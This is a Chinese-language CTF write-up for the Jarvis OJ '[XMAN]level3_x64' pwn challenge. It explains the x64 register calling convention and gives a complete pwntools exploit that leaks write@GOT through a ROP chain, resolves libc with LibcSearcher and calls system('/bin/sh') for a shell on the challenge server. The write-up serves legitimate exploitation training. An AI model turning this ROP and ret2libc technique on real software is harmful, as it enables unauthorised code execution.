[Jarvis OJ - PWN]——[XMAN]level3_x64

  • 题目地址:https://www.jarvisoj.com/challenges
  • 题目:

    老样子,还是先checksec一下,再看看IDA,除了64位以外和[XMAN]level3一样



64位和32位的主要区别就是参数方面,64位当参数小于等于六的时候,是放在寄存器中,没有放在栈上。分别是rdi rsi rdx rcx r8 r9寄存器。所以我们需要找一些pop指令来将参数写入寄存器。

虽然没有找到pop rdx指令,但是这个指令所对应的参数。是限制输出长度的只要大于8就可以。我们先不管,假设它大于8。不行的话,一会儿再回来调整。

exploit

from pwn import *
from LibcSearcher import *
p=remote("pwn2.jarvisoj.com",9883)
elf=ELF("./level3_x64")
main_addr=0x040061A
pop_rdi = 0x04006b3
pop_rsi = 0x04006b1
write_plt=elf.plt["write"]
write_got=elf.got["write"]
read_plt=elf.plt["read"]payload = 'a'*(0x80 + 0x8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(write_got) + p64(8)
payload += p64(write_plt) + p64(main_addr)p.sendlineafter("Input:\n",payload)write_addr = u64(p.recv(8))   log.success("write_addr: "+hex(write_addr))
libc = LibcSearcher('write',write_addr)libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')payload = 'a'*(0x80 + 0x8) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)p.sendlineafter("Input:\n",payload)
p.interactive()

[Jarvis OJ - PWN]——[XMAN]level3_x64相关推荐

  1. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  2. [Jarvis OJ - PWN]——[XMAN]level3

    [Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...

  3. [Jarvis OJ - PWN]——[XMAN]level2(x64)

    [Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...

  4. [Jarvis OJ - PWN]——[XMAN]level0

    [Jarvis OJ - PWN]--[XMAN]level0 题目地址:https://www.jarvisoj.com/challenges 题目: checksec看看,64位,开启了NX保护 ...

  5. [Jarvis OJ - PWN]——[XMAN]level1

    [Jarvis OJ - PWN]--[XMAN]level1 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,什么保护都没有开.32 ...

  6. [Jarvis OJ - PWN]——[XMAN]level2

    [Jarvis OJ - PWN]--[XMAN]level2 题目地址:https://www.jarvisoj.com/challenges 题目: 首先,checksec一下.32位并且没有开启 ...

  7. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  8. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  9. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

最新文章

  1. python小课骗局-Python小课怎么样啊?
  2. 2019年十二周总结
  3. android 的listview 3大优化策略
  4. 中央财经大学计算机专业排名,中央财经大学怎么样 2021年全国排名多少
  5. @codeforces - 1096G@ Lucky Tickets
  6. 机床使用教学_2020沧州cnc培训20年教学经验颁发职业
  7. 在Windows Vista中使用符号链接
  8. Unity 利用Coroutine实现跳动数字效果
  9. C++之对象的动态建立和释放
  10. 多图长文 | 聊聊C端转型B端产品那些事
  11. linux内核那些事之delay延迟技术
  12. 【es】ES RestHighLevelClient 请求报错:Connection reset by peer
  13. 实习成长之路:MySQL四:深入浅出索引
  14. 数据结构 第四章 串
  15. [入门向]标准测试用例模板
  16. 160个破解练习之CrackMe 006
  17. ubuntu开机自启vnc虚拟显示器并使用向日葵远程连接
  18. 屏蔽 已阅读59% 前往新浪新闻查看全文
  19. 色彩特征提取-色彩属性HSV空间
  20. atomic 内存序_C++11的原子量与内存序浅析

热门文章

  1. MS-SQL中的事务
  2. SqlConnetction类
  3. 用Unity3D实现简单的井字棋小游戏
  4. [Python从零到壹] 十二.机器学习之回归分析万字总结全网首发(线性回归、多项式回归、逻辑回归)
  5. 【数据结构与算法】之深入解析“路径总和”的求解思路与算法示例
  6. Swift之SwiftUI自定义star rating评分组件
  7. 数据库开发——MySQL——简单介绍和安装
  8. Java中集合(三)Stack
  9. 解决安装ROS 时rosdep update 问题(time out)
  10. rm -rf ~/.bashrc 的惨痛教训